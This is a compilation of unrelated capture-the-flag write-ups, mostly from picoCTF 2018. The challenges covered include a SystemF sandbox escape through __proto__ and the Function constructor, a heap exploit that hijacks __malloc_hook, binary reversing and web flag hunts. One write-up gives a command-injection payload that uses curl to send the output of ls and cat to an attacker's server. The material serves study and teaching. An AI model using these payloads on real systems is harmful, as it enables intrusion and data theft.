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# LambDash 3In this challenge we were given a site with an introduction to a variant of the Lambda Calculus language called SystemF, along with an online web shell. Link to the challange: http://2018shell2.picoctf.com:29621/
### Getting the sourceFirst thing I did was sending an extremely large payload to the interpreter (endpoint: `/run`) to see what would happen. It returned a stack trace containing the path to the challenge files. I logged in to the picoCTF shell, zipped the whole directory, and downloaded it with scp.
### Initial setupWe can see that this app is written in TypeScript and is running on NodeJS. I set it up locally to make exploiting and debugging easier. To do this, navigate to the directory named "problem" in source and run the following command:```shtsc --build tsconfig.json && node --inspect ./dist/server.js```
The app will be compiled and run on local port 4001. You can also debug it like any other Node app using Chromium DevTools by visiting `chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/<uuid>`, where <uuid> is the UUID given to you when you run the app.
### AnalysisOkay, now we're in possession of the app's source code and the app is running locally. Let us analyze what is this app doing. If you access `/problem/src/server.ts`, you can see the source of the `/run` endpoint:```javascript app.post("/run", (req, res) => { let code = req.body.code; let ast: E; try { ast = parse(code); } catch (e) { res.send(`Error -- code did not parse${e.toString()}`); return; } let type: Type; try { type = typecheck(ast); } catch (e) { res.send(`Error -- code did not typecheck${e.toString()}`); return; } let vm = new vm2.NodeVM({ timeout: 1000, sandbox: { ast, hidden: { getFlag: ((f: string) => ((x: string) => { if (x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'") { return f; } return "Bad! " + x; }))(process.env.FLAG) }, }, require: { context: "sandbox", external: ["./emulator", "immutable"], root: __dirname, }, }); try { let result = vm.run(new vm2.VMScript(` let emulator = require("${__dirname}/emulator"); module.exports = emulator.resToString(emulator.default(ast)); `)); console.log(result); res.send(`Result:${result}:${typeToString(type)}`); } catch (e) { console.log("Wut", e.stack); res.send(`Error -- failed to execute${e}`); }
})```It does a few things:* It parses the received code to get AST (abstract syntax tree)* It checks if all types in the program are okay* It runs the program in a Node sandbox of some kind, while also passing an object containing the function that we're interested in:```javascripthidden: { getFlag: ((f: string) => ((x: string) => { if (x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'") { return f; } return "Bad! " + x; }))(process.env.FLAG)},```* It prints the result of the program to the user
As such, our objective is clear: it's to submit a piece of code to /run that would run `hidden.getFlag("if you can get this you deserve the flag -> abcd1234!@#$%^&*()'")` and return the result. Easy enough, isn't it? Well, I found it everything _but_ easy, as my knowledge of both JS and functional programming is pretty much non-existent. At this point I started learning from the provided tutorial, submitting different programs, analyzing them, analyzing the code of the interpreter (located in `/problem/src/emulator.ts`), and so on. It took me about 10 hours.
### ExploitationLC = Lambda Calculus SystemF, the language used in this task
*While writing this solution, it occurred to me that my original solution was a bit needlessly complicated and contained some redundancy. This solution is slightly more reasonable. You can find the original payload that I used to solve this task in payload_old.txt.*
There is only one bug that we need to find in order to solve this task, and everything else is its consequence.LC has tuples and optional types, both of which are implemented as JS objects. Therefore, if you have tuple consisting of int f and int g, it will internally exist as a JS object, such as:```javascript{ f: 5 g: 10}```Optional type is very similar, except there is just one variable in it. When the interpreter wants to do something with an optional type, it iterates over the possible parameter names and checks if a parameter is present in the object (`object[name] != undefined`).Objects to be used as tuples/optionals are created using this function (you can find it in `/problem/src/emulator.ts`):```javascriptfunction getCleanObject(): { [key: string]: any } { let obj = {}; for (let prop of Object.getOwnPropertyNames((obj as any).__proto__)) { (obj as any)[prop] = undefined; } (obj as any).__proto__ = undefined; return obj;}```_Now comes the part that I still cannot fully comprehend, some help from a NodeJS expert would be greatly appreciated._
The most important part of the solution is to figure out that this function doesn't really work. I'm not sure why, but it probably has to do with Node internals. If you create an object using `a = getCleanObject()`, it will **still have** the `__proto__` attribute, instead of having it undefined, which means you can reference `a['__proto__']`. Knowing that in any optional the `__proto__` attribute is always set, we can define an optional with ```< `__proto__ { `constructor { `constructor int }} + `val int>```, and proceed to create a new instance of it with `val` set to a number. While processing this optional, we can tell the interpreter to look for the `__proto__` attribute first. It will of course find it, thinking that it is a tuple containing an attribute called `constructor`, which in turn is another tuple containing an attribute called `constructor`. So, by extracting it, we do something like:```javascripta = {}a['__proto__']['constructor']['constructor']```Which gives us the JavaScript function constructor. How to do it in LC? Here's the code:```(alias opta = < `__proto__ { `constructor { `constructor int -> (int -> int)}} + `val int -> (int -> int)> in(lambda argb:opta. case(argb) { `__proto__ rr -> rr#`constructor#`constructor | `val rr -> rr})(`val (lambda xx:int.lambda xxx:int.xx) as opta))```I changed the parameter types from int to int -> (int -> int), because we need to call this constructor, and then call the function that it returns. So now we've fooled the interpreter into thinking that the JavaScript function constructor is a lambda expression taking an int and returning another lambda expression, which in turn takes an int and returns an int. Complicated, but now we're just one step away from victory, and the question is: how to pass a string to that function?
Well, LC doesn't have strings, so we have to implement them ourselves, which was easy compared to the rest of the task.We can use the exact same trick as before, but this time let's retrieve the String.fromCharCode method instead.In JS that would be:```javascripta['__proto__']['constructor']['name']['constructor']['fromCharCode']```As translated to LC:```(alias opta = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `val int -> int> in(lambda argb:opta. case(argb) { `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode | `val r -> r })(`val (lambda x:int.x) as opta))```We can then call this lambda by passing an int to it, and we receive the corresponding char (which the interpreter thinks is an int).All that's left is to concatenate those chars using a different lambda, pass the string to the function constructor, and call the result. Example demonstrating the construction of a two char long string:```(lambda a : int.lambda b : int. a + b)((alias opta = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `val int -> int> in(lambda argb:opta. case(argb) { `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode | `val r -> r })(`val (lambda x:int.x) as opta)) 65)((alias opta = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `val int -> int> in(lambda argb:opta. case(argb) { `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode | `val r -> r })(`val (lambda x:int.x) as opta)) 66)```After preparing the full payload and pasting it to the site, we got the flag: picoCTF{1_white_lie_and_your_proto_gets_pwnd_4679389f}The full payload is available in payload.txt. |
## Code reviewMentioned in the tips , I found backend is not safe.
## analyseWe use hackbar to post ip,like this:`ip=1.1.1.1;some command`challenge server will execute the command,but we can't know whether it has been executed. Because there is no output.Now you need your server and its IP. We call IP to instead of your server's ip in this writeup.We use `curl` to let the challenge server visit our server.You may try this:```ip=1.1.1.1;curl http://IP/`ls``````ls`` means challenge server execute ls and take it as the request's parameter to visit your serverCheck your server's access.log which is located in `/var/log/apache2/` of your server.Your will see the HTTP request from challenge server.`"GET /index.php HTTP/1.1" 200 533 "-" "curl/7.47.0"`That's mean after `ls` we get `index.php`Ohhhh,we found the file of challenge server, but why there is only 1 file?
Your can try the command on your pc.Your will find on this way,we only get 1st file of current path.
That is not enough! We need more file!So,let's try ```ip=1.1.1.1;curl http://IP/`ls|base64` ```We got:`"GET /aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE1NTUtZmxhZy50eHQKeGluZXRfc3RhcnR1 HTTP/1.1" 404 515 "-" "curl/7.47.0"`
So,the `aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE1NTUtZmxhZy50eHQKeGluZXRfc3RhcnR1`is the answer of `ls`
After decoding it,we get :index.phpindex.txtthe-secret-1555-flag.txtxinet_startu
Using the same method,we can cat the .txt```ip=1.1.1.1;curl http://IP/`cat the-secret-1555-flag.txt|base64````
Got:`"GET /SGVyZSBpcyB5b3VyIGZsYWc6IHBpY29DVEZ7bjN2M3JfdHJ1c3RfYV9iMHhfOTY2MzlkOTF9Cgo= HTTP/1.1" 404 515 "-" "curl/7.47.0"`
base64decode`SGVyZSBpcyB5b3VyIGZsYWc6IHBpY29DVEZ7bjN2M3JfdHJ1c3RfYV9iMHhfOTY2MzlkOTF9Cgo=` we get flag:`Here is your flag: picoCTF{n3v3r_trust_a_b0x_96639d91}` |
## The Bug & The Exploit
Contact is a struct that contains 2 pointers - One for the name and one for the bio.
This is the function that creates a new contact:
```Cvoid create_contact(char *name){ if (num_contacts == MAX_CONTACTS){ puts("Too many contacts! Delete one first!"); return; }
struct contact *contact = (struct contact *)malloc(sizeof(struct contact)); if (contact == NULL){ puts("Could not allocate new contact."); exit(-1); };
/* make a copy of the name on the heap */ contact->name = strdup(name); if (contact->name == NULL){ puts("Could not duplicate name."); exit(-1); }
contacts[num_contacts++] = contact;}```
There is no initialization of the bio field, which means it will still have the value this heap chunk previously had. It was only after seeing the flag that I realized I should've used double free, which would make things easier for me.
I used the combination of create_contact and delete_contact in order to control the bio pointer of new contacts.
```Cvoid delete_contact(struct contact *contact){ free(contact->name);
/* if the bio is set, free it as well */ if (contact->bio != NULL){ free(contact->bio); }
free(contact);
/* replace the corresponding index with the last contact and decrement num_contacts */ for (int i = 0; i < num_contacts; i++){ if (contacts[i] == contact){ contacts[i] = contacts[num_contacts - 1]; num_contacts--; break; } }}```
Think about the following scenario:
1. Create a new chunk with a name the size of contact struct (0x10) and set its second qword to an arbitrary pointer. 2. Set it's bio to a new chunk of the same size as the contact struct. 3. Delete it. Free order is name, bio, chunk. 4. Add a new chunk with a name the size of the contact struct. ```new_chunk = previous_chunk, new_name = previous_name.```5. Add a new chunk. ```new_chunk = previous_name.```
As we said before, the bio field is not initialized, which means it will contain the value that was previously stored here - name's second qword (a pointer of our choice).
We can now use print_contacts to print the value pointed by our pointer!!
Let's use it to leak an address in libc (using the GOT_PLT table) and a heap address (using the contacts array).
We can use our leaked heap address in order to allocate a fake chunk in the heap (forge a chunk header in the contents of one of the chunks we allocate) and perform a fastbin attack to hijack __malloc_hook.
By the time we get the pointer to __malloc_hook-0x13 from malloc, it's over - We just need to overwrite it with one_gadget and enjoy our shell :) |
This exercise was a very straightforward warmup : the flag was split in threeparts (well, two in my case) and put in comments in three different sourcefiles on the site :
### Index
view source on the index page showed the following HTML comment :
```html
```
We can also see that a script and a stylesheet are loaded :
```html<link rel="stylesheet" type="text/css" href="mycss.css"><script type="application/javascript" src="myjs.js"></script>```
### Stylesheet
If we examine the stylesheet, we can see that in ends with a CSS comment :
```css/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_9dd3b33c} */```
### Script
Similarly, the `myjs.js` ends with the following comment :
```javascript/* I learned JavaScript! Here's part 3/3 of the flag: */```
So if we concatenate the three parts, we get the flag :`picoCTF{ur_4_real_1nspect0r_g4dget_9dd3b33c}` |
```——> ./be-quick-or-be-dead-2Be Quick Or Be Dead 2=====================
Calculating key...You need a faster machine. Bye bye.```
okay same thing as be-quick-or-be-dead-1, let's see if i can solve it the same way, by putting a high value for the timer
with `ltrace ./be-quick-or-be-dead-2` we can see the timer is set with `alarm(3)`, so let's geedeebee
setting the breakpoint on alarm we can see on the backtrace where it's called```Breakpoint 1, 0x00007ffff7e9c4d0 in alarm () from /usr/lib/libc.so.6gdb-peda$ bt#0 0x00007ffff7e9c4d0 in alarm () from /usr/lib/libc.so.6#1 0x00000000004007cb in set_timer ()#2 0x0000000000400882 in main ()#3 0x00007ffff7df8223 in __libc_start_main () from /usr/lib/libc.so.6#4 0x00000000004005c9 in _start ()```
```Dump of assembler code for function set_timer: 0x000000000040077a <+0>: push rbp [..] 0x00000000004007c1 <+71>: mov eax,DWORD PTR [rbp-0xc] 0x00000000004007c4 <+74>: mov edi,eax 0x00000000004007c6 <+76>: call 0x400550 <alarm@plt> 0x00000000004007cb <+81>: nop 0x00000000004007cc <+82>: leave 0x00000000004007cd <+83>: ret End of assembler dump.```
and breaking before the call we can change the timer value from 3 to 9999
```Breakpoint 2, 0x00000000004007c6 in set_timer ()gdb-peda$ p $rax$4 = 0x3gdb-peda$ set $rax=9999gdb-peda$ cContinuing.Calculating key...
Program received signal SIGALRM, Alarm clock.```
but it doesn't work. the program doesn't stop, but it keeps calculating for a looong time for a fibonacci function fib(). we can see that in gdb with ```bt```.
```gdb-peda$ disas 0x0000000000400759Dump of assembler code for function calculate_key: 0x000000000040074b <+0>: push rbp 0x000000000040074c <+1>: mov rbp,rsp 0x000000000040074f <+4>: mov edi,0x402 0x0000000000400754 <+9>: call 0x400706 <fib> 0x0000000000400759 <+14>: pop rbp 0x000000000040075a <+15>: ret End of assembler dump.```
and fib(0x402) is a number with 215 digits in base 10. we gotta find another way. lets's have a closer look at what the program does.using radare2 we see the main structure is header()->set_timer()->get_key()->print_flag()
```[0x004005a0]> s main[0x0040085f]> pdf ;-- main:/ (fcn) sym.main 62| sym.main (int argc, char **argv, char **envp);| ; var char **local_10h @ rbp-0x10| ; var int local_4h @ rbp-0x4| ; arg int argc @ rdi| ; arg char **argv @ rsi| ; DATA XREF from entry0 (0x4005bd)| 0x0040085f 55 push rbp| 0x00400860 4889e5 mov rbp, rsp| 0x00400863 4883ec10 sub rsp, 0x10| 0x00400867 897dfc mov dword [local_4h], edi ; argc| 0x0040086a 488975f0 mov qword [local_10h], rsi ; argv| 0x0040086e b800000000 mov eax, 0| 0x00400873 e8a9ffffff call sym.header| 0x00400878 b800000000 mov eax, 0| 0x0040087d e8f8feffff call sym.set_timer| 0x00400882 b800000000 mov eax, 0| 0x00400887 e842ffffff call sym.get_key| 0x0040088c b800000000 mov eax, 0| 0x00400891 e863ffffff call sym.print_flag| 0x00400896 b800000000 mov eax, 0| 0x0040089b c9 leave\ 0x0040089c c3 ret```
inspecting more we come across the function decrypt_flag() inside print_flag(). this is its pseudo C code:
```__int64 result; // rax int argv1_; // [rsp+0h] [rbp-14h] unsigned int i; // [rsp+10h] [rbp-4h]
argv1_ = argv1; for ( i = 0; ; ++i ) { result = i; if ( i > 0x38 ) break; flag[i] ^= *((_BYTE *)&argv1_ + (signed int)i % 4); if ( (signed int)i % 4 == 3 ) ++argv1_; } return result; ```
so it's a classic XOR between a string stored inside the program and a buffer calculated from argv1.going back to print_flag() we can see that argv1 actually is the key calculated before by fib(), as r2 identified obj.key
```| 0x00400802 e829fdffff sym.imp.puts () ; int puts(const char *s)| 0x00400807 8b05b3082000 eax = dword [obj.key] ; obj.__TMC_END ; [0x6010c0:4]=0| 0x0040080d 89c7 edi = eax| 0x0040080f e882feffff sym.decrypt_flag ()```
having any 2 of the 3 variables in the XOR operation we can get the remaining one. we can access the encoded flag string with radare2
```[0x004007f9]> s obj.flag[0x00601080]> px- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x00601080 28f2 6998 1acf 4c8c 2ef3 6fa8 3df2 6898 (.i...L...o.=.h.0x00601090 32fa 6994 34c4 7992 2fee 6f99 3cfe 5594 2.i.4.y./.o.<.U.0x006010a0 01f5 5595 04c4 6e98 0cfe 5591 02e8 7ea8 ..U...n...U...~.0x006010b0 53fe 3bcf 5da3 39c3 1b00 0000 0000 0000 S.;.].9.........```
and we know the flag starts with "picoCTF{", so we can calculate the first 8 bytes of the key with a simple python script
```bytes = ['0x28','0xf2','0x69','0x98','0x1a','0xcf','0x4c','0x8c']flag = 'picoCTF{'l = []
for i in range(0,8): l.append(ord(flag[i]) ^ int(bytes[i], 16))
s = '0x'for e in l[::-1]: sn = str(hex(e)).replace('0x', '') if len(sn) < 2: s += '0' s += sn
print(s)print(str(int(s,16)))```
that gives us 0xf70a9b59f70a9b58 = 17801211287834368856. let's try to patch it into the program to see if we get at least the first part of the flag right; but first we gotta get rid of the fib()
```[0x0040085f]> s 0x0040087d[0x0040087d]> wa call sym.headerWritten 5 byte(s) (call sym.header) = wx e89fffffff[0x0040087d]> s 0x00400887[0x00400887]> wa call sym.headerWritten 5 byte(s) (call sym.header) = wx e895ffffff[0x00400887]> pdf ;-- main:[..]| 0x0040086e b800000000 mov eax, 0| 0x00400873 e8a9ffffff call sym.header| 0x00400878 b800000000 mov eax, 0| 0x0040087d e89fffffff call sym.header| 0x00400882 b800000000 mov eax, 0| 0x00400887 e895ffffff call sym.header| 0x0040088c b800000000 mov eax, 0| 0x00400891 e863ffffff call sym.print_flag[..]```
we can just call header() three times instead of calling set_timer() and get_key().
now, back in gdb we set a breakpoint on print_flag, before the call to decrypt_flag, so we can change the value of the key
```0x400802 <print_flag+9>: call 0x400530 <puts@plt>0x400807 <print_flag+14>: mov eax,DWORD PTR [rip+0x2008b3] # 0x6010c0 <key>0x40080d <print_flag+20>: mov edi,eax=> 0x40080f <print_flag+22>: call 0x400696 <decrypt_flag>0x400814 <print_flag+27>: mov edi,0x6010800x400819 <print_flag+32>: call 0x400530 <puts@plt>```
then we set it
```gdb-peda$ set $edi=0xf70a9b59f70a9b58gdb-peda$ cContinuing.picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}[Inferior 1 (process 20880) exited normally]```
the 8 byte value was enough for the entire flag decryption |
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```import random
keyboard = [[["a"],["xcvbgrd", "grdxcvb", "zsefvcx"]],[["b"],["wsxcfd", "rfvbhg", "qazxds"]],[["c"],["redcv", "ewsxc", "trfvb"]],[["d"],["edcvgr", "wsxcfe", "yhnmku"]],[["e"],["edcvrf", "wsxcde", "tgbnhy"]],[["f"],["redcf", "trfvg", "ewsxd"]],[["g"],["redcvg", "cvgred", "cvrged"]],[["h"],["wsxdrfv", "edcftgb", "rfvgyhn"]],[["i"],["wsx", "edc", "rfv"]],[["j"],["ujmn", "wsxz", "rfvc"]],[["k"],["edcfby", "wsxdvr", "qazsce"]],[["l"],["wsxcv", "edcvb", "rfvbn"]],[["m"],["zaqwdrtgb", "xsweftyhn", "xsweftynh"]],[["n"],["zaqwdvfr", "xsweftgb" , "xsweftbg"]],[["o"],["qazxcdew", "wsxcvfre", "rfvbnhyt"]],[["p"],["mnbvccdertg", "nbvcxswerf", "nbvcxswefr"]],[["q"],["qazxcdewv", "edcvbgtrn", "rfvbnhytm"]],[["r"],["mnbvcdrtghu","mnbvcdrtghu","mnbvcdrtghu"]],[["s"],["ytrfvcx", "iuyhnbv", "iuyhnbv"]],[["t"],["wertyfv", "rtyuihn", "rtyuihn"]],[["u"],["wsxcvfr", "edcvbgt", "edcvbgt"]],[["v"],["efvgy", "wdcft", "wdcft"]],[["w"],["efvgywdcft","efvgywdcft","efvgywdcft"]],[["x"],["wdvtdz", "rgnygc", "rgnygc"]],[["y"],["jmyi", "efvt", "efvt"]],[["z"],["qwerdcvb", "ertgvbn", "ertgvbn"]]]
def nliqwerty_enc(buf): enc_buf = "" x = 0 y = 0 for char in buf: for count in range(0,26): if (char.lower() == keyboard[count][0][0]): # print char.lower() + " / " + keyboard[count][1][random.randint(0, 2)] enc_buf += keyboard[count][1][random.randint(0, 2)] y = 1 x = 0 else: if y == 0: x = 1 if x == 1: enc_buf += char.lower() enc_buf += random.choice(["qwerty", "asdfgh", "zxcvbn"]) x = 0 y = 0 return enc_buf
def nliqwerty_dec(buf): dec_buf = "" dec_buf = buf.replace("qwerty", "#") dec_buf = dec_buf.replace("asdfgh", "#") dec_buf = dec_buf.replace("zxcvbn", "#") chars = dec_buf.split("#") dec_buf = "" for x in chars: if len(x) == 1: dec_buf += x else: for count in range(0,26):
if x == keyboard[count][1][0]: dec_buf += keyboard[count][0][0] if x == keyboard[count][1][1]: dec_buf += keyboard[count][0][0] if x == keyboard[count][1][2]: dec_buf += keyboard[count][0][0] print dec_buf
print "-=====-"nliqwerty_dec("wsxcvasdfghrfvbnhytqwertymnbvcdrtghuzxcvbnwsxcdeasdfghzaqwdrtgbzxcvbn qwertywsxqwertynbvcxswefrqwertyiuyhnbvqwertywsxcvfrasdfghzaqwdrtgbzxcvbn qwertywsxasdfghiuyhnbvasdfgh zxcvbnytrfvcxqwertywsxasdfghzaqwdrtgbqwertymnbvccdertgzxcvbnedcvbasdfghefvtzxcvbn asdfghwsxcfezxcvbnedcvbgtasdfghzaqwdrtgbqwertyxsweftynhzxcvbnjmyizxcvbn zxcvbnrtyuihnzxcvbnwsxcdeasdfghrgnygcqwertyrtyuihnasdfgh qwertyqazxcdewzxcvbnredcfzxcvbn zxcvbnwertyfvzxcvbnrfvgyhnasdfghwsxcdeqwerty qwertynbvcxswefrzxcvbnmnbvcdrtghuzxcvbnrfvqwertyxsweftgbqwertyrtyuihnqwertywsxasdfghxsweftgbzxcvbncvgredasdfgh asdfghgrdxcvbzxcvbnxsweftbgasdfghwsxcfeqwerty asdfghwertyfvqwertyefvtqwertynbvcxswefrqwertyedcvrfzxcvbnytrfvcxzxcvbntgbnhyasdfghwertyfvasdfghwertyfvzxcvbnwsxqwertyzaqwdvfrzxcvbncvgredqwerty asdfghedczxcvbnxsweftbgasdfghyhnmkuzxcvbnedcvbgtqwertyiuyhnbvqwertyrtyuihnasdfghmnbvcdrtghuqwertyjmyiasdfgh.zxcvbn asdfghrfvbnqwertywsxcvfreasdfghmnbvcdrtghuqwertywsxcdeasdfghzaqwdrtgbasdfgh asdfghwsxqwertynbvcxswerfqwertyiuyhnbvzxcvbnedcvbgtzxcvbnxsweftyhnqwerty qwertyrfvgyhnasdfghzsefvcxqwertyytrfvcxasdfgh qwertyrfvbhgasdfghedcvrfasdfghtgbnhyasdfghxsweftgbasdfgh asdfghrtyuihnqwertyedcftgbasdfghtgbnhyasdfgh zxcvbnrfvasdfghzaqwdvfrasdfghwsxcfezxcvbnedcvbgtqwertyytrfvcxzxcvbnrtyuihnasdfghmnbvcdrtghuzxcvbnefvtzxcvbn'asdfghiuyhnbvzxcvbn qwertyiuyhnbvzxcvbnrtyuihnqwertyzsefvcxasdfghzaqwdvfrqwertyyhnmkuqwertyzsefvcxzxcvbnmnbvcdrtghuqwertyedcvgrzxcvbn zxcvbnwsxcfeqwertyedcvbgtasdfghxsweftynhasdfghxsweftyhnzxcvbnefvtqwerty zxcvbnrtyuihnzxcvbntgbnhyqwertywdvtdzasdfghwertyfvzxcvbn asdfghtgbnhyqwertywdcftasdfghedcvrfasdfghmnbvcdrtghuqwerty zxcvbniuyhnbvzxcvbnrfvqwertyxsweftgbzxcvbnewsxczxcvbnwsxcdezxcvbn qwertywertyfvqwertyedcftgbzxcvbnedcvrfzxcvbn asdfgh1qwerty5zxcvbn0asdfgh0qwertyiuyhnbvzxcvbn,qwerty zxcvbnefvgywdcftzxcvbnedcftgbasdfghwsxcdeqwertyxsweftgbzxcvbn zxcvbngrdxcvbasdfghzaqwdvfrqwerty asdfghwsxcvfrqwertyzaqwdvfrasdfghedcfbyasdfghxsweftbgzxcvbnwsxcvfreqwertyefvgywdcftzxcvbnxsweftbgasdfgh asdfghnbvcxswerfzxcvbnmnbvcdrtghuqwertyedczxcvbnxsweftbgqwertywertyfvzxcvbnedcvrfzxcvbnmnbvcdrtghuqwerty qwertyrtyuihnqwertyqazxcdewzxcvbnwsxcvfreqwertyedcfbyasdfgh qwertygrdxcvbasdfgh zxcvbncvgredzxcvbnxcvbgrdasdfghrfvbnasdfghrfvbnasdfghwsxcdeqwertyefvtqwerty qwertyqazxcdewqwertytrfvgzxcvbn zxcvbnwertyfvzxcvbnefvtqwertymnbvccdertgqwertyedcvrfasdfgh zxcvbngrdxcvbzxcvbnzaqwdvfrqwertyyhnmkuqwerty qwertyiuyhnbvqwertyredcvasdfghmnbvcdrtghuzxcvbnzsefvcxqwertyxsweftynhzxcvbnrfvbhgzxcvbnwsxcvasdfghwsxcdezxcvbnedcvgrasdfgh qwertyrfvqwertyrtyuihnzxcvbn qwertyrtyuihnqwertyqazxcdewzxcvbn asdfghxsweftynhqwertyzsefvcxzxcvbnqazsceasdfghedcvrfqwerty asdfghxcvbgrdasdfgh asdfghrtyuihnzxcvbnjmyizxcvbnmnbvccdertgqwertywsxcdeqwerty asdfghiuyhnbvasdfghnbvcxswerfasdfghwsxcdezxcvbnewsxcqwertyedcasdfghxsweftynhasdfghedcvrfqwertyxsweftbgqwerty qwertywsxcfdqwertywsxcvfreasdfghwsxcvfreqwertyedcfbyasdfgh.asdfgh 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https://nitesculucian.github.io/2018/09/30/dctf-2018-message/ |
The name of the task and the hint are obviously pointing at[robots.txt](https://en.wikipedia.org/wiki/Robots_exclusion_standard), so let'ssee what's there :
```User-agent: *Disallow: /c4075.html```
Now we have a path to check : `/c4075.html`. If we open the page, weimmediately get the flag :`picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_c4075}` |
Since the name of the task and the hint both indicate that verification is doneclient-side, let's look at the page's source. We find the following inlinescript :
```javascriptfunction verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(split*7, split*8) == '}') { if (checkpass.substring(split*6, split*7) == '06ac') { if (checkpass.substring(split*5, split*6) == 'd_5e') { if (checkpass.substring(split*4, split*5) == 's_ba') { if (checkpass.substring(split*3, split*4) == 'nt_i') { if (checkpass.substring(split*2, split*3) == 'clie') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(0,split) == 'pico') { alert("You got the flag!") } } } } } } } } else { alert("Incorrect password"); }}```It checks 4 characters of the provided password at a time, starting from theend, against hardcoded strings. We just concatenate those strings fron theinnermost `if` statement to the outermost to get the flag :`picoCTF{client_is_bad_5e06ac}` |
Here, the task name and hint seemed indicate that the[User-Agent header](https://en.wikipedia.org/wiki/User_agent) is involved. Sureenough, if we check the site and follow the link to `/flag`, we get thefollowing error (abbreviated here) :
```You're not google! Mozilla/5.0 [...]```
This tells us two things :
1. The app is looking at our user agent (since it's displayed in the error)2. It's expecting "Google"
Now the way Google indexes websites is that it has bots crawling the web. Thosebots are "polite", which means among other things that they correctly indicatetheir identity (as opposed to trying to pass for a regular browser). We can assumethat what is expected here is Google Bot user agent.
A quick search for "googlebot user agent" yields the following page :[Google crawlers (user agents)](https://support.google.com/webmasters/answer/1061943?hl=en).
As indicated, Googlebot is the most common Google crawler, so let's use it's user agent :
```Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)```
Requesting `/flag` again, this time using that user agent (I used[Burp suite](https://portswigger.net/burp)'s proxy and repeater, but there areother ways to do that) we get the flag : `picoCTF{s3cr3t_ag3nt_m4n_ed3fe08d}` |
tl;dr Chosen Ciphertext Attack based on Tencent's QQ Browser vuln: [https://arxiv.org/abs/1802.03367](https://arxiv.org/abs/1802.03367)
Full writeup: [https://masterpessimistaa.wordpress.com/2018/10/14/inctf-2018-crypto-writeups-part-2/](https://masterpessimistaa.wordpress.com/2018/10/14/inctf-2018-crypto-writeups-part-2/) |
Link to original: https://github.com/Caesurus/CTF_Writeups/blob/master/2018-PicoCTF/RE-circuit123/readme.md
But also full markdown:# PicoCTF 2018 - RE Circuit123 - 800 pts
## DescriptionCan you crack the key to [decrypt](https://2018shell1.picoctf.com/static/f5574cc5fb752ce65d53e22bf7141424/decrypt.py) [map2](https://2018shell1.picoctf.com/static/f5574cc5fb752ce65d53e22bf7141424/map2.txt) for us? The key to [map1](https://2018shell1.picoctf.com/static/f5574cc5fb752ce65d53e22bf7141424/map1.txt) is 11443513758266689915.
## decrypt.py Script overviewThis challenge expects you to pass a key (number), and a map file to the script. It will then process the key and check it against several OR/XOR gates in a circuit. If the key is correct, it will use it to decrypt a sha512 value to reveal the flag.
## Initial impressionsI was feeling fairly good about having completed the other RE problems this CTF had to offer. When I initially looked at this problem I either neglected to read the hint, or the hint initially wasn't there. I didn't have a lot of time to dedicate to this CTF and there were SO many challenges that I decided to skip it. This is mainly because it was outside my norm, it wasn't an ELF file and I just decided not to tackle it.
## That itch in the back of your brainAfter doing a couple of the entry level `Binary Exploitation` and `Crypto` challenges I just kept thinking about this challenge. It felt like it was that itch that needed to be scratched. Life was happening around me, family/work etc, but I really felt like I needed to at least try to solve it. It looked like it was the last RE challenge, and leaving it bugged my OCD way too much.
## Initial Attempt - The hard wayMy first attempt at solving this was to cycle through each gate and trying to determine the known quantities:For example, working backwards we know the very last gates value. So if the gate before it is an OR gate we can assume```1 | 1 = 11 | 0 = 10 | 1 = 10 | 0 = 0```So if the output is 0, then the two inputs would logically be 0 as well. I then spent some time working through the chain backwards trying to figure out what is 'known' and what we don't know for sure yet.
Given that, we can then look at the XOR gates:```1 ^ 1 = 01 ^ 0 = 10 ^ 1 = 10 ^ 0 = 0```If we know any of the two values, then we can be confident about the third value.
I got fairly far with this approach, and then it hit me like running into a brick wall. I was writing a constraint solver. WTH wasn't I using z3?
## The right wayOnce I had that realization it was a quick modification of the original script that would generate a z3 script for me.
[decrypt_z3_final.py](decrypt_z3_final.py)
```$ ./decrypt_z3_final.py map2.txt > generated_z3.py$ python generated_z3.py 10100101000110110111010001001010000101101110111001000110010101111001011011101111101000101010111101001110000110110011001011001101
219465169949186335766963147192904921805$ python decrypt.py 219465169949186335766963147192904921805 map2.txtAttempting to decrypt map2.txt...Congrats the flag for map2.txt is: picoCTF{36cc0cc10d273941c34694abdb21580d__aw350m3_ari7hm37ic__}```
After I solved it I went back to check the hint and saw:#### Hint*Have you heard of z3?*
#### Oh well...¯\\\_(ツ)_/¯ |
The hint here seems to point at an[SQL injection](https://www.owasp.org/index.php/SQL_Injection), but let'sbrowse around the app. We have access to three views :
1. The index, that has nothing interesting2. A "support" page3. An "admin login page"
The support page contains another clue pointing at an SQL injection :
> Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep> getting something called a SQL Error
With that in mind, we can look at the login page. Inspecting the source, we seethere's a hidden `debug` field :
```html<form action="login.php" method="POST"> <fieldset> <div class="form-group"> <label for="username">Username:</label> <input type="text" id="username" name="username" class="form-control"> </div> <div class="form-group"> <label for="password">Password:</label> <div class="controls"> <input type="password" id="password" name="password" class="form-control"> </div> </div> <input type="hidden" name="debug" value="0">
<div class="form-actions"> <input type="submit" value="Login" class="btn btn-primary"> </div> </fieldset></form>```
To confirm that, I sent a request with a random username and no password (Note:I used Burp suite's proxy and repeater to manipulate the requests). With`debug=0`, we get :
```html<h1>Login failed.</h1>```
and with `debug=1` :
```htmlusername: iodbhpassword: SQL query: SELECT * FROM users WHERE name='aaa' AND password=''<h1>Login failed.</h1>```
